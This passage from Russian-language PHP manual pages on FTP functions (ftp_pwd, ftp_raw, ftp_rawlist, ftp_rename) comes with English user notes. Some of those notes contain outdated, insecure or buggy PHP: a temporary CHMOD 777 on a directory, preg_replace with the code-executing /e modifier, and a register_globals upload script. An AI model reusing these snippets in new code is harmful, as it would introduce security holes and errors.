               $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY); // put the files
           }
       }
   }
   $d->close();
}
jrisken at mn dot rr dot com 29-Jun-2005 06:32
This solution to a common problem is implied elsewhere, but I thought it might be useful to put it all in one place (since I spent hours piecing it together!)

Sometimes a web host will open PHP sessions with a user of 'nobody'. Files created by this user may not have the correct permissions to allow  management of those files by the actual owner of the site.  The following script allows the actual owner to open access to a directory so that 'nobody' can create a file using fopen(). Then using the handle created by 'nobody', the ftp_fput() command saves the file with the correct owner.  The file 'nobody' created is discarded.
<?
    $connection = ftp_connect($ftpServer);
    ftp_login($connection, $ftpUser, $ftpPass);
    ftp_chdir($connection, $ftpDir);
    // open the directory so that 'nobody' can create a temporary file
    ftp_site($cn, "CHMOD 777 $ftpDir");
    $new="tempFile";
    @unlink($new); // just in case
    $handle=fopen($new,"x");
    chmod($new,0777);
    fputs($handle,"a bunch of stuff...");
    fclose($handle); // have to rewind
    $handle=fopen("tempFile","r");
    ftp_fput($connection, "finalFile", $handle, FTP_ASCII);
    fclose($handle);
    unlink($new);
    // remove open access to the directory
    ftp_site($connection, "CHMOD 755 $ftpDir")
    ftp_close($connection);
?>
herok at atwatcher dot com 17-Jun-2004 10:59
victor at nobel dot com dot br wrote that
the correct dirpath format excluded "/home/USER/" from the public path, but for my server, i had to use it in order to get my scripts to work.

it may be obvious to most but I'm positing that you cannot use the $_SERVER['DOCUMENT_ROOT'] path since FTP starts at your top-level and therefore bypasses (or just plain doesn't recognize) most of the virtual server pathing.
Saeven 23-Sep-2003 09:43
if you examine the first user submitted function, ftp_putAll, it will work only if you extract this line and its matching bracket.

if (!@ftp_chdir($conn_id, $dst_dir."/".$file))

The function will have changed into that directory before having uploaded files to it.  This alters your upload path and the system will try to upload into an essentially non-existent directory (duped at the end).

Hope this helps some of you.
Cheers.
Saeven
lucas at rufy dot com 04-Aug-2003 01:45
The following is a fully tested function (based on a previous note) that recursively puts files from a source directory to a destination directory. See http://rufy.com/tech/archives/000026.html for more information.

NOTE: use full path name for the destination directory and the destination directory must already exist

function ftp_putAll($conn_id, $src_dir, $dst_dir) {
    $d = dir($src_dir);
    while($file = $d->read()) { // do this for each file in the directory
        if ($file != "." && $file != "..") { // to prevent an infinite loop
            if (is_dir($src_dir."/".$file)) { // do the following if it is a directory
                if (!@ftp_chdir($conn_id, $dst_dir."/".$file)) {
                    ftp_mkdir($conn_id, $dst_dir."/".$file); // create directories that do not yet exist
                }
                ftp_putAll($conn_id, $src_dir."/".$file, $dst_dir."/".$file); // recursive part
            } else {
                $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY); // put the files
            }
        }
    }
    $d->close();
}
darian lassan at yahoo de 05-Feb-2003 04:06
ftp_put() overwrites existing files.
Again: trivial but not mentioned here.
oheil at ecc-gmbh dot de 25-Sep-2002 05:43
If you want to copy a whole directory tree (with subdiretories),
this function (ftp_copy) might be usefull. Tested with
php 4.2.2 and a Linux OS.

Example:
----------------------------------------------------------------
$conn_id = ftp_connect("server_adress");
...

$src_dir = "/from";
$dst_dir = "/to";

ftp_copy($src_dir, $dst_dir);
...
ftp_close($conn_id)

Function: ftp_copy()
----------------------------------------------------------------
function ftp_copy($src_dir, $dst_dir) {

global $conn_id;

$d = dir($src_dir);

    while($file = $d->read()) {

        if ($file != "." && $file != "..") {

            if (is_dir($src_dir."/".$file)) {

                if (!@ftp_chdir($conn_id, $dst_dir."/".$file)) {

                ftp_mkdir($conn_id, $dst_dir."/".$file);
                }

            ftp_copy($src_dir."/".$file, $dst_dir."/".$file);
            }
            else {

            $upload = ftp_put($conn_id, $dst_dir."/".$file, $src_dir."/".$file, FTP_BINARY);
            }
        }
    }

$d->close();
}
kiwo1 at yahoo dot com 28-Aug-2002 10:05
Friends,
If you wanna upload files from your harddisk by a form to a specified ftp this sample can help you...
First of all create the form:
<html>

<body marginwidth=4 marginheight=4 topmargin=4 leftmargin=4 bgcolor=white vlink="#0000ff" link="#0000ff">

<form name="Attachments"  method=POST action="sendimage.php" enctype="multipart/form-data">

<input type=hidden name=box value="">

<tr>
<td nowrap width="1%">&nbsp;&nbsp;<b>Image:</b></td>
<td colspan=2>
<input type=file name=source_file size=20> <br>

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

</td>
</tr>
<input type=submit name=btnSubmit value=Submit size=20 style="border: 1px solid #0000FF"></form>
</body>
</html>

The critical point in this form is the usage of  enctype="multipart/form-data"
If you don't use this part your upload operations won't work.
Then u must create sendimage.php as follows:

<?php

    $ftp_server='190.148.20.201';//serverip
    $conn_id = ftp_connect($ftp_server);

    // login with username and password
    $user="username";
    $passwd="*****";
    $login_result = ftp_login($conn_id, $user, $passwd);

// check connection
   if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed!";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        die;
    } else {
        echo "<br>Connected to $ftp_server, for user $user<br>";
    }
//directorylike /www.velibaba.com/images
  ftp_chdir($conn_id, "www.velibab.com");
  ftp_chdir($conn_id, "compimages");

//$destination_file=ftp_pwd($conn_id);

$destination_file="x.jpg";
echo ("<br>");
print $destination_file;

echo ("<br>");

// upload the file
$upload = ftp_put($conn_id, $destination_file, $source_file, FTP_BINARY);

// check upload status
if (!$upload) {
        echo "FTP upload has failed!";
    } else {
        echo "Uploaded $source_file to $ftp_server as $destination_file";
    }

// close the FTP stream
ftp_close($conn_id);
?>

In this example code $source_file is the path of the file in your disk, and destination file is the name of the uploaded file in ftpserver.
In this code I use ftp_chdir to give the path of the
 uploaded file within ftpserver..
For your questions about all categories of PHP my email:kiwo1@yahoo.com
c u...
clambert at whitecrown dot net 29-Jun-2001 07:24
When using versions of PHP below 4.04b4, the ftp_put command doesn't work on NT/IIS4. Most of the other functions will work, but there was a bug while trying to send upstream data to an IIS webserver.


Возвращает имя текущей директории

  • « ftp_put
  • ftp_quit »
  • PHP Manual
  • Функции FTP
  • Возвращает имя текущей директории

ftp_pwd

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_pwd — Возвращает имя текущей директории

Описание

ftp_pwd(FTP\Connection $ftp): string|false

Список параметров

ftp

An FTP\Connection instance.

Возвращаемые значения

Возвращает имя текущей директории или false при возникновении ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_pwd()

<?php

// установка соединения
$ftp = ftp_connect($ftp_server);

// проверка имени пользователя и пароля
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// смена текущей директории на public_html
ftp_chdir($ftp, 'public_html');

// вывод имени текущей директории
echo ftp_pwd($ftp); // /public_html

// закрытие соединения
ftp_close($ftp);
?>

Смотрите также

  • ftp_chdir() - Изменяет текущую директорию на FTP-сервере
  • ftp_cdup() - Переходит в родительскую директорию

User Contributed Notes

mike dot hall at opencube dot co dot uk 31-May-2001 09:15
This function doesn't always go to the remote server for the PWD. Once called the PWD is cached, and until PHP has a reason to believe the directory has changed any call to ftp_pwd() will return from the cache, even if the remote server has gone away.


Псевдоним ftp_close

  • « ftp_pwd
  • ftp_raw »
  • PHP Manual
  • Функции FTP
  • Псевдоним ftp_close

ftp_quit

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_quit — Псевдоним ftp_close()

Описание

Функция является псевдонимом: ftp_close().

User Contributed Notes

There are no user contributed notes for this page.


Отправляет произвольную команду FTP-серверу

  • « ftp_quit
  • ftp_rawlist »
  • PHP Manual
  • Функции FTP
  • Отправляет произвольную команду FTP-серверу

ftp_raw

(PHP 5, PHP 7, PHP 8)

ftp_raw — Отправляет произвольную команду FTP-серверу

Описание

ftp_raw(FTP\Connection $ftp, string $command): ?array

Отправляет произвольную команду command FTP-серверу.

Список параметров

ftp

An FTP\Connection instance.

command

Команда.

Возвращаемые значения

Возвращает ответ сервера в виде массива строк или null в случае возникновения ошибки. Функция ftp_raw() не интерпретирует ответ сервера и не определяет, успешно ли выполнена команда.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Использование ftp_raw() для входа на FTP-сервер

<?php
$ftp = ftp_connect("ftp.example.com");

/* То же самое, что:
ftp_login($ftp, "joeblow", "secret"); */
ftp_raw($ftp, "USER joeblow");
ftp_raw($ftp, "PASS secret");
?>

Смотрите также

  • ftp_exec() - Запрашивает выполнение команды на FTP-сервере

User Contributed Notes

WebSee.ru 10-Aug-2009 11:38
How to realize the possibility of transferring data from one FTP-server to another via FXP?

<?php
// ...

$ansver = ftp_raw($ftp_conn1, 'PASV');

if (intval($ansver[0]) == 227) {
    ftp_raw($ftp_conn2, 'PORT '.substr($ansver[0], $n = strpos($ansver[0], '(') + 1, strpos($m[0], ')', $n) - $n));
    ftp_raw($ftp_conn1, 'STOR '.$filename); // need asynchronously (non-blocking)
    ftp_raw($ftp_conn2, 'RETR '.$filename);
}
?>
www.bossftp.com 05-Nov-2008 06:32
Note that the $command can not contains any illegal character such as \n, \r, \t, or this function will return NULL.

Try using the trim() before calling ftp_raw().

<?php
ftp_raw($connid, trim($command));
?>
nightwalker85 at gmail dot com 19-Apr-2005 04:32
<?
ftp_raw($ftpconn,"CLNT <client>");
?>

Is a good way to let the ftp-server know which client it's dealing with. Guess this can be useful if you're making a homemade ftp-client. Only do this if the ftp-server has responded to FEAT command with a response including CLNT.


Возвращает подробный список файлов в заданной директории

  • « ftp_raw
  • ftp_rename »
  • PHP Manual
  • Функции FTP
  • Возвращает подробный список файлов в заданной директории

ftp_rawlist

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_rawlist — Возвращает подробный список файлов в заданной директории

Описание

ftp_rawlist(FTP\Connection $ftp, string $directory, bool $recursive = false): array|false

ftp_rawlist() отправляет FTP-серверу команду LIST и возвращает результат в виде массива.

Список параметров

ftp

An FTP\Connection instance.

directory

Имя директории на сервере. Может включать аргументы для команды LIST.

recursive

Если передано значение true, серверу будет отправлена команда LIST -R.

Возвращаемые значения

Возвращает массив, каждый элемент которого содержит одну строку ответа сервера. Возвращает false, если переданная директория directory не валидна.

Ответ сервера никак не обрабатывается. Для определения того, как следует интерпретировать результат, можно использовать результат работы функции ftp_systype().

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_rawlist()

<?php

// установка соединения
$ftp = ftp_connect($ftp_server);

// проверка имени пользователя и пароля
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// получение списка файлов директории /
$buff = ftp_rawlist($ftp, '/');

// закрытие соединения
ftp_close($ftp);

// вывод буфера
var_dump($buff);
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  [0]=>
  string(65) "drwxr-x---   3 vincent  vincent      4096 Jul 12 12:16 public_ftp"
  [1]=>
  string(66) "drwxr-x---  15 vincent  vincent      4096 Nov  3 21:31 public_html"
  [2]=>
  string(73) "lrwxrwxrwx   1 vincent  vincent        11 Jul 12 12:16 www -> public_html"
}

Смотрите также

  • ftp_nlist() - Возвращает список файлов в заданной директории
  • ftp_mlsd() - Возвращает список файлов в заданной директории

User Contributed Notes

Roline88 at hotmail dot com 19-Apr-2018 05:26
Note that this function also will return false if the content of the provided directory is empty.
nickman at freemail dot hu 24-Apr-2014 07:17
The solution of fredvanetten at tinqle dot com is nice but needs further evaluation as because of the preg_split and static listing of the variables will produce different values: comparing a file of today or an older, from a previous year:

Array
(
    [time] => 2012
    [day] => 11
    [month] => Sep
    [size] => 37262
    [group] => group
    [user] => owner
    [number] => 1
    [rights] => -rw-rw-rw-
)

Array
(
    [time] => 14:01
    [day] => 23
    [month] => Apr
    [size] => 37262
    [group] => group
    [user] => owner
    [number] => 1
    [rights] => -rw-rw-rw-
)
mediaboat at gmail dot com 14-Mar-2014 10:55
All  parse_rawlist Functions here have one Problem.

when a file starts with a space character like " robots.txt ", it will be ignored.

Rename, delete will fail...
fredvanetten at tinqle dot com 10-Dec-2012 07:12
Here's a simple function that'll parse the data returned by ftp_rawlist() into an associative array. I wrote it because some of the functions listed below are way to long, complex or won't work with file names that contain spaces.

<?php
    function listDetailed($resource, $directory = '.') {
        if (is_array($children = @ftp_rawlist($resource, $directory))) {
            $items = array();

            foreach ($children as $child) {
                $chunks = preg_split("/\s+/", $child);
                list($item['rights'], $item['number'], $item['user'], $item['group'], $item['size'], $item['month'], $item['day'], $item['time']) = $chunks;
                $item['type'] = $chunks[0]{0} === 'd' ? 'directory' : 'file';
                array_splice($chunks, 0, 8);
                $items[implode(" ", $chunks)] = $item;
            }

            return $items;
        }

        // Throw exception or return false < up to you
    }
?>
Johnny Doe 24-Nov-2010 06:18
In case anybody wants to get a detailed listing using the MLSD command over a passive connection, the following function might be helpful as a starting point for your own implementation:

<?php
function ftp_mlsd($ftp, $directory) {
    $ok = @ftp_chdir($ftp, $directory);
    if (!$ok) {
        return false;
    }
    $ret = ftp_raw($ftp, 'PASV');
    if (preg_match(
        '/^227.*\(([0-9]+,[0-9]+,[0-9]+,[0-9]+),([0-9]+),([0-9]+)\)$/',
        $ret[0], $matches)) {
        $controlIP = str_replace(',', '.', $matches[1]);
        $controlPort = intval($matches[2])*256+intval($matches[3]);
        $socket = fsockopen($controlIP, $controlPort);
        ftp_raw($ftp, 'MLSD');
        $s = '';
        while (!feof($socket)) {
            $s .= fread($socket, 4096);
        }
        fclose($socket);
        $files = array();
        foreach (explode("\n", $s) as $line) {
            if (!$line) {
                continue;
            }
            $file = array();
            foreach (explode(';', $line) as $property) {
                list($key, $value) = explode('=', $property);
                if ($value) {
                    $file[$key] = $value;
                } else {
                    $filename = trim($key);
                }
            }
            $files[$filename] = $file;
        }
        return $files;
    }
    return false;
}
?>

Please note that this function ignores the setting of ftp_pasv(). Making the function to work universally for both active and passive connections is left as an exercise to the reader ;-)
shaun at shaunfreeman dot co dot uk 13-May-2010 04:02
Get a listing of all files including hidden files except '.' or '..' use:

<?php
ftp_chdir($connid, $dir);
ftp_rawlist($connid, "-A");
?>

This had me dancing in circles for some time!
John 02-May-2010 04:46
There are a couple of php-related reasons given here for ftp_rawlist returning an empty result. However be aware that ZoneAlarm (and possibly other) firewalls can block responses without giving any visible clue so be sure to check that first.
nospam at advancedonsite dot com 03-Nov-2009 08:02
ftp_rawlist kept returning empty file listing, it would work on some machines but not others, it turned out to be ftp_pasv command was needed.
Very frustrating
ahmadmarafa at gmail dot com 23-Jun-2009 07:38
this is function to check for dirs

<?php
function ftp_isdir($connect_id,$dir)
{
    if(ftp_chdir($connect_id,$dir))
    {
        ftp_cdup($connect_id);
        return true;

    }
    else
    {
        return false;
    }
}
?>
tmp at gmx dot de 26-May-2009 04:20
To format the _recrusive_ result of this function I use this:

<?php
$conn_id = ftp_connect(FTP_SERVER);

$login_result = ftp_login($conn_id, FTP_USR, FTP_PASS);

$rawfiles = ftp_rawlist($conn_id, '/', true);

ftp_close($conn_id);

// here the magic begins!
$structure = array();
$arraypointer = &$structure;
foreach ($rawfiles as $rawfile) {
    if ($rawfile[0] == '/') {
        $paths = array_slice(explode('/', str_replace(':', '', $rawfile)), 1);
        $arraypointer = &$structure;
        foreach ($paths as $path) {
            foreach ($arraypointer as $i => $file) {
                if ($file['text'] == $path) {
                    $arraypointer = &$arraypointer[ $i ]['children'];
                    break;
                }
            }
        }
    } elseif(!empty($rawfile)) {
        $info = preg_split("/[\s]+/", $rawfile, 9);
        $arraypointer[] = array(
            'text'   => $info[8],
            'isDir'  => $info[0]{0} == 'd',
            'size'   => byteconvert($info[4]),
            'chmod'  => chmodnum($info[0]),
            'date'   => strtotime($info[6] . ' ' . $info[5] . ' ' . $info[7]),
            'raw'    => $info
            // the 'children' attribut is automatically added if the folder contains at least one file
        );
    }
}

// in $structure is all the data
print_r($structure);

// little helper functions
function byteconvert($bytes) {
    $symbol = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $exp = floor( log($bytes) / log(1024) );
    return sprintf( '%.2f ' . $symbol[ $exp ], ($bytes / pow(1024, floor($exp))) );
}

function chmodnum($chmod) {
    $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1');
    $chmod = substr(strtr($chmod, $trans), 1);
    $array = str_split($chmod, 3);
    return array_sum(str_split($array[0])) . array_sum(str_split($array[1])) . array_sum(str_split($array[2]));
}

?>
francois frao_o 12-Mar-2009 10:47
Why not using POSIX regex to do the job here ? A preg_replace returns the information in an associative array with the following keys:

<rights>
<number>
<owner>
<group>
<file_size>
<mod_time>
<file>
<type> * that's a bonus: it will tell you if the item is either a file or a directory

Code is shown below:

$list=@ftp_rawlist($con,$directory) ;

$items=array() ;

foreach($list as $_)
preg_replace(

'`^(.{10}+)(\s*)(\d{1})(\s*)(\d*|\w*)'.
'(\s*)(\d*|\w*)(\s*)(\d*)\s'.
'([a-zA-Z]{3}+)(\s*)([0-9]{1,2}+)'.
'(\s*)([0-9]{2}+):([0-9]{2}+)(\s*)(.*)$`Ue',

'$items[]=array(
"rights"=>"$1",
"number"=>"$3",
"owner"=>"$5", "group"=>"$7",
"file_size"=>"$9",
"mod_time"=>"$10 $12 $14:$15",
"file"=>"$17",
"type"=>print_r((preg_match("/^d/","$1"))?"dir":"file",1));',

$_) ; # :p
www.bosssftp.com 07-Nov-2008 02:43
Some FTP servers only allow you to get list of files under current working directory. So if you always get result as empty array (array(0){ }), try changing the cwd befor get the list:

<?php
function ftprawlist($connid, $dir) {
  ftp_chdir($connid, $dir);
  return ftp_rawlist($connid, "-a");
}
?>
paul maybe at squirrel mail org 24-Apr-2008 05:13
Regarding converting permissions from symbolic notation to octal, note that Hazem dot Khaled at gmail dot com's chmodnum function produces INCORRECT results.  The resutls are base-10 numbers that only LOOK like they are octal numbers.  The function also ignores setuid, setgid and sticky bits, and will produce incorrect numbers if such a file is encountered.  Instead, this brute-force code works.  Maybe there is something more slick, but this isn't too CPU-intensive (note that it assumes you've error-checked that you indeed have a 10-character string!):

      $permissions = 'drwxr-xr-x';  // or whatever
      $mode = 0;

      if ($permissions[1] == 'r') $mode += 0400;
      if ($permissions[2] == 'w') $mode += 0200;
      if ($permissions[3] == 'x') $mode += 0100;
      else if ($permissions[3] == 's') $mode += 04100;
      else if ($permissions[3] == 'S') $mode += 04000;

      if ($permissions[4] == 'r') $mode += 040;
      if ($permissions[5] == 'w') $mode += 020;
      if ($permissions[6] == 'x') $mode += 010;
      else if ($permissions[6] == 's') $mode += 02010;
      else if ($permissions[6] == 'S') $mode += 02000;

      if ($permissions[7] == 'r') $mode += 04;
      if ($permissions[8] == 'w') $mode += 02;
      if ($permissions[9] == 'x') $mode += 01;
      else if ($permissions[9] == 't') $mode += 01001;
      else if ($permissions[9] == 'T') $mode += 01000;

      printf('Mode is %d decimal and %o octal', $mode, $mode);
weltvolk 04-Jan-2008 06:17
With this handy function based on functions presented here you get the file list in alphabetical order with all directories on top:

<?php
function rawlist_dump() {
  global $ftp_connect;
  $ftp_rawlist = ftp_rawlist($ftp_connect, ".");
  foreach ($ftp_rawlist as $v) {
    $info = array();
    $vinfo = preg_split("/[\s]+/", $v, 9);
    if ($vinfo[0] !== "total") {
      $info['chmod'] = $vinfo[0];
      $info['num'] = $vinfo[1];
      $info['owner'] = $vinfo[2];
      $info['group'] = $vinfo[3];
      $info['size'] = $vinfo[4];
      $info['month'] = $vinfo[5];
      $info['day'] = $vinfo[6];
      $info['time'] = $vinfo[7];
      $info['name'] = $vinfo[8];
      $rawlist[$info['name']] = $info;
    }
  }
  $dir = array();
  $file = array();
  foreach ($rawlist as $k => $v) {
    if ($v['chmod']{0} == "d") {
      $dir[$k] = $v;
    } elseif ($v['chmod']{0} == "-") {
      $file[$k] = $v;
    }
  }
  foreach ($dir as $dirname => $dirinfo) {
      echo "[ $dirname ] " . $dirinfo['chmod'] . " | " . $dirinfo['owner'] . " | " . $dirinfo['group'] . " | " . $dirinfo['month'] . " " . $dirinfo['day'] . " " . $dirinfo['time'] . "<br>";
  }
  foreach ($file as $filename => $fileinfo) {
      echo "$filename " . $fileinfo['chmod'] . " | " . $fileinfo['owner'] . " | " . $fileinfo['group'] . " | " . $fileinfo['size'] . " Byte | " . $fileinfo['month'] . " " . $fileinfo['day'] . " " . $fileinfo['time'] . "<br>";
  }
}
rawlist_dump();
?>
ari at bs-inc dot com 17-Oct-2006 01:24
This is a little cleaner:

function parse_rawlist( $array )
{
    foreach($array as $curraw)
    {
        $struc = array();
        $current = preg_split("/[\s]+/",$curraw,9);

        $struc['perms']  = $current[0];
        $struc['number'] = $current[1];
        $struc['owner']  = $current[2];
        $struc['group']  = $current[3];
        $struc['size']  = $current[4];
        $struc['month']  = $current[5];
        $struc['day']    = $current[6];
        $struc['time']  = $current[7];
        $struc['year']  = $current[8];
        $struc['raw']  = $curraw;
        $structure[$struc['name']] = $struc;
    }
   return $structure;

}
admin at mikeholloway dot co dot uk 03-Dec-2005 02:38
I was having problems picking up the directories on a mac using cjacobsen at pge dot cl's (11-Jan-05) solution. Slight ammendment to the regexp works for me:

ereg("([-dl][rwxstST-]+).* ?([0-9 ]* )?([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)
nate at 8networks dot com 07-May-2005 12:41
this snip fixes the date problem with the listing and sorts out the variables:

$filedata['access_permissions']
$filedata['link_count']
$filedata['uid']
$filedata['gid']
$filedata['size']
$filedata['mod_date_month']
$filedata['mod_date_day']
$filedata['mod_time']
$filedata['name']

list($filedata['access_permissions'], $filedata['link_count'], $filedata['uid'], $filedata['gid'], $filedata['size'], $filedata['mod_date_month'], $filedata['mod_date_day'], $filedata['mod_time'], $filedata['name']) = preg_split("/[\s,]+/", $value);

$filedata['type'] = $filedata['access_permissions']{0};

$filedata['access_permissions'] = substr($filedata['access_permissions'],1);

// now check the date to see if the last modifcation was this year or last.

if ( strrpos($filedata['mod_time'], ':') != 2 ) { $filedata['mod_date'] = $filedata['mod_date_month'] ." " . $filedata['mod_date_day'] . " " . $filedata['mod_time']; $filedata['mod_time'] = "00:00"; } else { $filedata['mod_date'] = $filedata['mod_date_month'] ." " . $filedata['mod_date_day'] . " " . date("Y"); }
marc dot peterlongo at francetelecom dot com 03-Feb-2005 02:57
When you try:

$path = "directory pathname with spaces";
$list = ftp_rawlist($conn_id,$path);

It doesn't work

but when you try:

$path = "directory pathname with spaces";
ftp_chdir($conn_id,$path);
$list = ftp_rawlist($conn_id,".");

It works
cjacobsen at pge dot cl 11-Jan-2005 05:44
Excelent expresion, but don't match SUID, SGUI and Sticky flags when 'x' is disabled. Fix it with [rwxstST-].

<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxstST-]+).* ([0-9]*) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
greg at upsdn dot net 19-Dec-2004 11:58
list all (including hidden files and dirs):
<?php
  $contents = ftp_rawlist($conn_id, "-al ".$dir_name);
?>

just as ftp command:
LIST al

"-aF " is equal to '-al', please refer to "ls --help"
greg at upsdn dot net 25-Nov-2004 10:55
The previous regular expression(by Jonathan Almarez,ergye at yahoo dot com and guru at virusas dot lt) is very good.But i found it does not  take into account for directories(number>9)

Change [0-9] to [0-9]*

The code below not only parses:
drwxrwxr-x     9 msik     ia           4096 Nov  5 14:19 Group3

It also parses:
drwxrwxr-x   19 msik     ia           4096 Nov  5 14:19 Group3
3
drwxrwxr-x   119 msik     ia           4096 Nov  5 14:19 Group3
3

0 = file
1 = directory
2 = simlink
<?php

function itemize_dir($contents) {
   foreach ($contents as $file) {
       if(ereg("([-dl][rwxst-]+).* ([0-9]*) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)", $file, $regs)) {
           $type = (int) strpos("-dl", $regs[1]{0});
           $tmp_array['line'] = $regs[0];
           $tmp_array['type'] = $type;
           $tmp_array['rights'] = $regs[1];
           $tmp_array['number'] = $regs[2];
           $tmp_array['user'] = $regs[3];
           $tmp_array['group'] = $regs[4];
           $tmp_array['size'] = $regs[5];
           $tmp_array['date'] = date("m-d",strtotime($regs[6]));
           $tmp_array['time'] = $regs[7];
           $tmp_array['name'] = $regs[9];
       }
       $dir_list[] = $tmp_array;
   }
   return $dir_list;
}
$buff = ftp_rawlist($cid, "/");
$items = itemize_dir($buff);

?>
22-Oct-2004 07:53
Note that there is no standard for the format, therefore don't be suprised when parsing routines for this work perfectly on some servers, and fail horribly on some.
eros at speedy dot com dot ar 01-Sep-2004 02:06
NO, NO, NO.

The above examples are all wrong, the spaces given in array are not there "just because", its just a tabbed structure. In php we don't have structures like in c/cpp, but the following function will do the job.

<?php

function parse_rawlist( $array ) {

    for ( $i = 1; $i < count($array); $i++ ) {

        $current = $array[$i];

        $structure[$i]['perms']  = substr($current, 0, 10);
        $structure[$i]['number'] = trim(substr($current, 11, 3));
        $structure[$i]['owner']  = trim(substr($current, 15, 8));
        $structure[$i]['group']  = trim(substr($current, 24, 8));
        $structure[$i]['size']   = trim(substr($current, 33, 8));
        $structure[$i]['month']  = trim(substr($current, 42, 3));
        $structure[$i]['day']    = trim(substr($current, 46, 2));
        $structure[$i]['time']   = substr($current, 49, 5);
        $structure[$i]['name']   = substr($current, 55, strlen($current) - 55);

    }

    return $structure;

}

?>
06-Jan-2004 03:40
If you write
<?php
rawlist ($ftp, "-a");
?>
The command will be "LIST -a", so the retuned list will also contain hidden files like ".htaccess".

In this case all files and folders of the current directory are contained.
To list another folder, you must change to it with "ftp_chdir".


Переименовывает файл или директорию на FTP-сервере

  • « ftp_rawlist
  • ftp_rmdir »
  • PHP Manual
  • Функции FTP
  • Переименовывает файл или директорию на FTP-сервере

ftp_rename

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_rename — Переименовывает файл или директорию на FTP-сервере

Описание

ftp_rename(FTP\Connection $ftp, string $from, string $to): bool

ftp_rename() переименовывает файл или директорию на FTP-сервере.

Список параметров

ftp

An FTP\Connection instance.

from

Старое имя файла/директории.

to

Новое имя.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.. В случае возникновения ошибки (например при попытке переименовать несуществующий файл) будет вызвана ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.1.0 | Параметр ftp теперь ожидает экземпляр FTP\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования ftp_rename()

<?php
$old_file = 'somefile.txt.bak';
$new_file = 'somefile.txt';

// установка соединения
$ftp = ftp_connect($ftp_server);

// проверка имени пользователя и пароля
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// попытка переименовать $olf_file в $new_file
if (ftp_rename($ftp, $old_file, $new_file)) {
echo "Файл $old_file переименован в $new_file\n";
} else {
echo "Не удалось переименовать $old_file в $new_file\n";
}

// закрытие соединения
ftp_close($ftp);
?>

User Contributed Notes

alishahnovin at hotmail dot com 11-Dec-2007 07:25
You want to make sure you check the existence of the new name before renaming files, because otherwise you could risk losing files. Just do a simple check with ftp_size with the new name. If it's !=-1, you're going to want to throw some kind of error, otherwise you'll be losing a file...
aventaria at hotmxxx dot com 07-Feb-2007 04:51
This function isn't only able to rename files, but also folders. And it is not only able to rename them, but also move them, and, in the case of folders, their contents as well (so folders don't have to be empty to move). For example:

<?php
ftp_rename($conn_id, "./dir1/dir2/", "./dir3/");
?>

Now the folder dir2 (which prevously was in folder dir1) has moved to the same folder as dir1, and it has kept its original contents (the content just moved along).
Hazem dot Khaled at gmail dot com 26-Nov-2006 07:56
to rename the file or folder you should use ftp_chdir to select the current directory on ftp server or you should write the full path to file in old name and in new name

Ex. 1
<?php
// open the folder that have the file
ftp_chdir($conn_id, '/www/ftp-filemanager/');

// rename the file
ftp_rename($conn_id, 'file1.jpg', 'new_name_4_file.jpg');
?>

or write full path Ex. 2
<?
// rename the file
ftp_rename($conn_id, '/www/ftp-filemanager/file1.jpg', '/www/ftp-filemanager/new_name_4_file.jpg');
?>
Hugo locobyte at hotmail dot NO_SPAM dot com 22-Nov-2002 12:29
Using "ftp_rename" to move files to other directories on server ftp
..
...
if(ftp_rename($conn_ftp, $xfiles[$i], "./dirx/".$xfiles[$i])) {
       echo "File $xfiles[$i] moved to ./dirx";
} else {
       echo "ERROR!!!. The file could not be moved";
}
...
..
#-->>h2m,  bye


Удаляет директорию

  • « ftp_rename
  • ftp_set_option »
  • PHP Manual
  • Функции FTP
  • Удаляет директорию

ftp_rmdir

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_rmdir — Удаляет директорию

Описание

ftp_rmdir(FTP\Connection $ftp, string $directory): bool

Удаляет директорию directory.

Список параметров

ftp

